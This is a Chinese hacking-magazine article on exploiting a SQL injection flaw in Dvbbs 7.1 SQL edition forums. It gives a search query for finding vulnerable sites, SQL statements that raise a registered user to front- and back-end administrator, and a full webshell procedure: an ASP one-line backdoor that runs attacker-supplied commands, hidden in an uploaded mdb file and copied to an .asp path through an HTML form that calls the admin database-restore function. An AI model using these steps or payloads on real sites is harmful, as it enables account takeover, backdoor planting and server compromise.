不为人知的动网7.1 SQL版注入漏洞
作者:hackest [H.S.T]
文章难易度:★★★
文章阅读点:动网7.1 SQL版最新注入漏洞的详细利用以及如何在后台获取Webshell
话说上期X档案刊登了动网8.0 SQL版最新注入漏洞的文章,不知大家都掌握了没有,令人兴奋的是,没过几在就又暴出了另一个动网7.1 SQL版的最新注入漏洞,这个漏洞可以直接更改任意用户的密码或直接添加论坛管理员,危害相当严重!存在漏洞的文件为dv_dpo.asp,有兴趣的朋友可以自行阅读该文件的源代码并分析漏洞的形成原因。本文则主要介绍如何利用工具针对该漏洞进行入侵测试以及如何在动网7.1 SQL版后台获取Webshell。
我在动网官方网站下载了最新版本的动网7.1 SQL版,并在本机上搭建好了论坛,架设好测试环境。要寻找使用动网7.1的论坛可以在Google以“Powered By Dvbbs Version 7.1.0 Sp1”为关键字搜索,至于如何判断是不是SQL版,我也没有什么好办法,这就得靠自己测试了。下面开始测试,先来看看漏洞利用工具的庐山真面目吧,如图 1。
首先在目标论坛注册一个用户,然后登录。我注册的用户名和密码均为hackest,在MSSQL企业管理器里可以看到Dv_User表段存放的注册用户名(hackest)及密码的MD5(eee01c9ab7267f25),如图2。
然后就可以使用工具来测试了,例如要修改普通用户hackest的登录密码,先在URL后面的框里填入目标论坛的访问地址(http://127.0.0.1/), username处填入注册用户的用户名(hackest),password处填入你要更改的密码(admin888),然后点击“修改密码”,在下面的空白框可以看到返回信息,如果看到最后面出现了“基本资料修改成功”,就说明已经成功更改指定用户的密码了,如图3。
我们再到MSSQL企业管理器看看表段,是否真的更改了呢,结果如图4。用户hackest的密码MD5果然由原来的eee01c9ab7267f25成功的更改为了469e80d32c0559f8,漏洞测试成功!
当然了,上边是更改普通用户的密码,在实际的入侵中是可以直接改掉管理员密码的。还可以直接添加一个管理员呢!首先还是需要注册一个用户,然后在 “MSSQL语句”填入“前台管理员”后面的SQL语句,不过需要改一下用户名。比如要将普通用户hackest添加为前台管理员,可以填入 “update [Dv_User] set UserGroupID=1 where username='hackest'”,语句的大致意思为更新用户名为hackest的UserGroupID为1(UserGroupID=1即为前台管理员)。然后点击“MSSQL_Exec”提交,在下面的空白框中的返回信息如果出现“登陆成功”则说明已成功将普通用户提升为前台管理员了。我们可以重新登录论坛,明显发现登录后多出了一项“管理”,普遍用户是看不到这一项的!再到MSSQL企业管理器里查看表段数据,发现用户hackest的 UserGroupID已由原来的9变成了1(9即为普通用户,1为前台管理员)。提升为前台管理员之后还需要提升为后台管理员才可以进入管理后台。可以使用工具里的“加入后台”后面附带的SQL语句提升为管理员,我们在“MSSQL语句”里填入●insert into dv_admin (username,[password],flag,adduser) values ('hackest','469e80d32c0559f8','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37', 'hackest')●,其中的469e80d32c0559f8为后台登录密码(即admin888的MD5值)。然后点击“MSSQL_Exec”提交注入语句,返回信息与执行提升前台管理员的时候基本相同,如图5。
我们再到MSSQL企业管理器看一下是否真的添加进去了,如图6。Dv_admin表段里原来只有admin这个默认管理员的,现在多了一个hackest的管理员,证明已经成功提升为后台管理员了!
接着就是登录后台了,点击论坛页面的“管理”进入后台登录面面,如图7。没错吧,是“Dvbbs v7.1.0 SQL 版”哦!使用户名hackest,密码admin888成功登录进入后台,如图8。
进了后台当然就是获取Webshell了,在以前的杂志里似乎很少见到关于动网7.1 SQL版后台获得Webshell的文章,所以我就简单的提一下。我们使用恢复数据库的方法来拿Webshell,后台依次找到“论坛管理”—“版面(分类)添加|管理”—“高级设置”—“上传文件类型”,添加允许上传类型mdb,如图9。
然后在前台发帖或编辑帖子来上传ASP一句话与空数据库合并的mdb文件(可以使用蓝鱼动网空数据库合并器合并),ASP一句话的代码为●<%if request("cmd")<>"" then execute request("cmd")%>●。上传后在帖子处是不可以直接看到路径的,要到后台里去找。在后台依次找到“文件管理”—“上传文件管理”— “开始搜索”,找到刚才上传的mdb文件,如图10。
得知mdb文件的相对路径为UploadFile/2007-9/2007912123062511.mdb。将以下代码保存为HTML文件:
★
<form action="http://127.0.0.1/admin/data.asp?action=RestoreData&act=Restore" method="post">
<p>已上传文件的位置:<input name="Dbpath" type="text" size="80"></p>
<p>要复制到的位置:<input name="backpath" type="text" size="80"></p>
<p><input type="submit" value="提交"></p>
</form>
★
由于动网7.1 SQL版的后台是不可以直接恢复数据库的,所以要用这个HTML来调用执行恢复数据库操作。保存好后打开,在“已上传文件的位置”填入“.. /UploadFile/2007-9/2007912123062511.mdb”,在“要复制到的位置”填入“../UploadFile/2007 -9/test.asp”(此处填需要导出的Webshell路径),然后点击“提交”,如图11。
提交后返回“成功恢复数据!”,如图12。使用一句话木马的客户端连接http://127.0.0.1/UploadFile/2007-9/shell.asp,成功得到Webshell,如图13。
剩下的就教给各位自己去玩了。至此漏洞的详细利用和后台如何获取Webshell的方法就已经介绍完毕,如果有什么问题的话,欢迎到X官方论坛与我交流。
(文章中涉及到的工具动网7.1 SQL版注入漏洞利用工具、蓝鱼动网空数据库合并器、ASP+PHP两用Shell、HTML脚本、合并好的mdb文件已经收录在光盘中)
小编点评:
动网始终是“洞网”,上期刚暴了8.0 SQL版的致命漏洞,现在又来了7.1 SQL版的漏洞!漏洞的利用却都是如此之简单,轻松地利用工具就可以得到论坛的管理员权限,然后拿到Webshell,甚至危及到整个服务器的安全!动网 7.1 SQL版在后台如何得到Webshell的方法在以前的杂志上似乎并没有怎么详细地介绍过,本文详细说明了漏洞的利用过程及动网7.1SQL版后台拿 Webshell的具体方法,正好填补了这一空白。
请问下改了Dv_admin表的名字,有什么方法猜测到表的名